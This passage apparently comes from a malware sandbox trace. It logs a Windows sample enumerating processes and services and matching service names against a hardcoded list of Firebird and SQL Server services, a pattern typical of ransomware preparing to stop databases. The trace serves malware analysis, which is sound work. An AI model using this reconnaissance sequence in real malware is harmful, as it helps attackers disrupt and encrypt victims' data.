cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.673] lstrlenW (lpString="services.exe") returned 12 [0184.673] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.674] lstrlenW (lpString="lsass.exe") returned 9 [0184.674] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.674] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.674] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.674] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.674] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.675] lstrlenW (lpString="svchost.exe") returned 11 [0184.675] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.675] lstrlenW (lpString="svchost.exe") returned 11 [0184.675] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.676] lstrlenW (lpString="dwm.exe") returned 7 [0184.676] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.676] lstrlenW (lpString="svchost.exe") returned 11 [0184.676] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.677] lstrlenW (lpString="svchost.exe") returned 11 [0184.677] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.677] lstrlenW (lpString="svchost.exe") returned 11 [0184.677] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.677] lstrlenW (lpString="svchost.exe") returned 11 [0184.677] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.678] lstrlenW (lpString="svchost.exe") returned 11 [0184.678] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.678] lstrlenW (lpString="svchost.exe") returned 11 [0184.678] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.679] lstrlenW (lpString="svchost.exe") returned 11 [0184.679] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.679] lstrlenW (lpString="svchost.exe") returned 11 [0184.679] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.680] lstrlenW (lpString="svchost.exe") returned 11 [0184.680] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.680] lstrlenW (lpString="svchost.exe") returned 11 [0184.680] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.680] lstrlenW (lpString="spoolsv.exe") returned 11 [0184.681] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.681] lstrlenW (lpString="svchost.exe") returned 11 [0184.681] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.681] lstrlenW (lpString="audiodg.exe") returned 11 [0184.681] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0184.682] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0184.682] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0184.682] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0184.682] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0184.683] lstrlenW (lpString="Memory Compression") returned 18 [0184.683] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0184.683] lstrlenW (lpString="sihost.exe") returned 10 [0184.683] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.683] lstrlenW (lpString="svchost.exe") returned 11 [0184.684] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0184.684] lstrlenW (lpString="taskhostw.exe") returned 13 [0184.684] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0184.684] lstrlenW (lpString="msoia.exe") returned 9 [0184.684] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.685] lstrlenW (lpString="explorer.exe") returned 12 [0184.685] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0184.685] lstrlenW (lpString="SearchUI.exe") returned 12 [0184.685] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0184.686] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0184.686] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0184.686] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0184.686] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0184.687] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0184.687] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0184.687] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0184.687] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0184.687] lstrlenW (lpString="cmd.exe") returned 7 [0184.687] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0184.688] lstrlenW (lpString="conhost.exe") returned 11 [0184.688] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0184.688] lstrlenW (lpString="mode.com") returned 8 [0184.688] Process32NextW (in: hSnapshot=0x500, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0184.689] CloseHandle (hObject=0x500) returned 1 [0184.689] Sleep (dwMilliseconds=0x1f4) [0185.433] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b0f8 [0185.433] EnumServicesStatusExW (in: hSCManager=0x447b0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0185.434] GetLastError () returned 0xea [0185.434] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0185.435] EnumServicesStatusExW (in: hSCManager=0x447b0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0185.436] CloseServiceHandle (hSCObject=0x447b0f8) returned 1 [0185.436] lstrlenW (lpString="Appinfo") returned 7 [0185.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0185.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0185.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0185.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0185.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0185.436] lstrlenW (lpString="AppXSvc") returned 7 [0185.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0185.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0185.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0185.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0185.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0185.436] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0185.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.436] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0185.436] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0185.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0185.436] lstrlenW (lpString="Audiosrv") returned 8 [0185.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0185.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0185.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0185.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0185.437] lstrlenW (lpString="BFE") returned 3 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0185.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0185.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0185.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0185.437] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0185.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0185.437] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0185.437] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0185.437] lstrlenW (lpString="CDPSvc") returned 6 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0185.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0185.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0185.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0185.437] lstrlenW (lpString="ClickToRunSvc") returned 13 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0185.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0185.437] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0185.437] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0185.437] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0185.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0185.437] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0185.437] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0185.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0185.437] lstrlenW (lpString="CryptSvc") returned 8 [0185.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0185.438] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0185.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0185.438] lstrlenW (lpString="DcomLaunch") returned 10 [0185.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0185.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0185.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0185.438] lstrlenW (lpString="DeviceAssociationService") returned 24 [0185.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0185.438] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0185.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0185.438] lstrlenW (lpString="Dhcp") returned 4 [0185.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0185.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0185.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0185.438] lstrlenW (lpString="Dnscache") returned 8 [0185.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0185.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0185.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0185.438] lstrlenW (lpString="DPS") returned 3 [0185.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0185.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0185.438] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0185.439] lstrlenW (lpString="DsmSvc") returned 6 [0185.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0185.439] lstrlenW (lpString="DusmSvc") returned 7 [0185.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0185.439] lstrlenW (lpString="EventLog") returned 8 [0185.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0185.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0185.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0185.439] lstrlenW (lpString="EventSystem") returned 11 [0185.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0185.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0185.439] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0185.439] lstrlenW (lpString="FontCache") returned 9 [0185.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0185.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0185.439] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0185.439] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0185.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0185.439] lstrlenW (lpString="gpsvc") returned 5 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0185.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0185.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0185.440] lstrlenW (lpString="iphlpsvc") returned 8 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0185.440] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0185.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0185.440] lstrlenW (lpString="KeyIso") returned 6 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0185.440] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0185.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0185.440] lstrlenW (lpString="LanmanServer") returned 12 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0185.440] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0185.440] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0185.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0185.440] lstrlenW (lpString="LanmanWorkstation") returned 17 [0185.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0185.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 